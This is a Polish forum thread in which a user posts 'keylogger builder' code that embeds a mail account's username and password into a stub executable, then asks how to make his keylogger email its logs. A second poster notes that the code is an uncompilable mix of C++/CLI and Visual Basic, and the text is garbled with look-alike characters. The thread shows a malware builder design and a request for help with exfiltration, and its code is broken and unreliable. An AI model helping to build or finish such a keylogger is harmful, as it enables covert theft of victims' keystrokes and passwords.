Kod keyloggera do sprawdzenia

[makankosapo]

Oto i on:

 Imports System.IO
#pragma once

namespace keyl {

    using namespace System;
    using namespace System::ComponentModel;
    using namespace System::Collections;
    using namespace System::Windows::Forms;
    using namespace System::Data;
    using namespace System::Drawing;

    /// <summary>
    /// Summary for Form1
    /// </summary>
    public ref class Form1 : public System::Windows::Forms::Form
    {
    public:
        Form1(void)
        {
            InitializeComponent();
            //
            //TODO: Add the constructor code here
            //
        }

    protected:
        /// <summary>
        /// Clean up any resources being used.
        /// </summary>
        ~Form1()
        {
            if (components)
            {
                delete components;
            }
        }
    private: System::Windows::Forms::TextBox^  textBox1;
    protected: 
    private: System::Windows::Forms::TextBox^  textBox2;
    private: System::Windows::Forms::Button^  button1;
    private: System::Windows::Forms::Label^  label1;
    private: System::Windows::Forms::Label^  label2;

    private:
        /// <summary>
        /// Required designer variable.
        /// </summary>
        System::ComponentModel::Container ^components;

#pragma region Windows Form Designer generated code
        /// <summary>
        /// Required method for Designer support - do not modify
        /// the contents of this method with the code editor.
        /// </summary>
        void InitializeComponent(void)
        {
            this->textBox1 = (gcnew System::Windows::Forms::TextBox());
            this->textBox2 = (gcnew System::Windows::Forms::TextBox());
            this->button1 = (gcnew System::Windows::Forms::Button());
            this->label1 = (gcnew System::Windows::Forms::Label());
            this->label2 = (gcnew System::Windows::Forms::Label());
            this->SuspendLayout();
            // 
            // textBox1
            // 
            this->textBox1->Location = System::Drawing::Point(81, 62);
            this->textBox1->Name = L"textBox1";
            this->textBox1->Size = System::Drawing::Size(137, 20);
            this->textBox1->TabIndex = 0;
            this->textBox1->Text = L"The WP Username textbox";
            // 
            // textBox2
            // 
            this->textBox2->Location = System::Drawing::Point(81, 125);
            this->textBox2->Name = L"textBox2";
            this->textBox2->Size = System::Drawing::Size(137, 20);
            this->textBox2->TabIndex = 1;
            this->textBox2->Text = L"The WP Password textbox";
            // 
            // button1
            // 
            this->button1->Location = System::Drawing::Point(113, 165);
            this->button1->Name = L"button1";
            this->button1->Size = System::Drawing::Size(75, 23);
            this->button1->TabIndex = 2;
            this->button1->Text = L"Build";
            this->button1->UseVisualStyleBackColor = true;
            // 
            // label1
            // 
            this->label1->AutoSize = true;
            this->label1->Location = System::Drawing::Point(110, 37);
            this->label1->Name = L"label1";
            this->label1->Size = System::Drawing::Size(76, 13);
            this->label1->TabIndex = 3;
            this->label1->Text = L"WP Username";
            // 
            // label2
            // 
            this->label2->AutoSize = true;
            this->label2->Location = System::Drawing::Point(110, 97);
            this->label2->Name = L"label2";
            this->label2->Size = System::Drawing::Size(74, 13);
            this->label2->TabIndex = 4;
            this->label2->Text = L"WP Password";
            // 
            // Form1
            // 
            this->AutoScaleDimensions = System::Drawing::SizeF(6, 13);
            this->AutoScaleMode = System::Windows::Forms::AutoScaleMode::Font;
            this->ClientSize = System::Drawing::Size(292, 266);
            this->Controls->Add(this->label2);
            this->Controls->Add(this->label1);
            this->Controls->Add(this->button1);
            this->Controls->Add(this->textBox2);
            this->Controls->Add(this->textBox1);
            this->FormBorderStyle = System::Windows::Forms::FormBorderStyle::FixedSingle;
            this->MaximizeBox = false;
            this->MinimizeBox = false;
            this->Name = L"Form1";
            this->ShowIcon = false;
            this->StartPosition = System::Windows::Forms::FormStartPosition::CenterScreen;
            this->Text = L"Keylogger builder";
            this->Load += gcnew System::EventHandler(this, &Form1::Form1_Load);
            this->ResumeLayout(false);
            this->PerformLayout();

        }
#pragma endregion
    private: System::Void Form1_Load(System::Object^  sender, System::EventArgs^  e) {
             }
};
}

Dim stub, text1, text2 Aѕ String Const FileSplit = "@keylogger@"
    text1 = TextBox1.Text text2 = TextBox2.Text FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default) stub = Space(LOF(1)) FileGet(1, stub) FileClose(1) If File.Exists("Server.exe") Thеn Mу.Computer.FileSystem.DeleteFile("Server.exe") Enԁ If FileOpen(1, Application.StartupPath & "\Server.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default) FilePut(1, stub & FileSplit & text1 & FileSplit & text2 & FileSplit) FileClose(1) MsgBox("Thе Server.exe іѕ builded!")

Mam pytanie. Wyskakuje mi komunikat dotyczący kodowania. Coś typu Central European (Windows) lub choćby Central European (ISO). To znaczy, że mam zmienić sposób kodowania?

 

[D.F.]

Skąd wziąłeś ten kod? Ten kod się nie skompiluje to jest jakaś mieszanka C++/CLI z Visual Basiciem!

 

[makankosapo]

Mam już gotowego keyloggera, tyle że nie mam płatnej wersji Visual Studio 2010 (tam nie ma Execute bo to się o to opiera pewnie). Wiem, że coś takiego jak np. FieZilla może załatwić ten problem, ale czy czasem nie potrzeba czegoś więcej? Za bardzo nie chcę korzystać z żadnego gotowca z "google" tym bardziej, że umiem zrobić jednego keyloggera. Da się to jakoś załatwić, gdy wersja Free VC++ nie ma funkcji wysyłania logów na maila? Chyba, że o czymś nie wiem.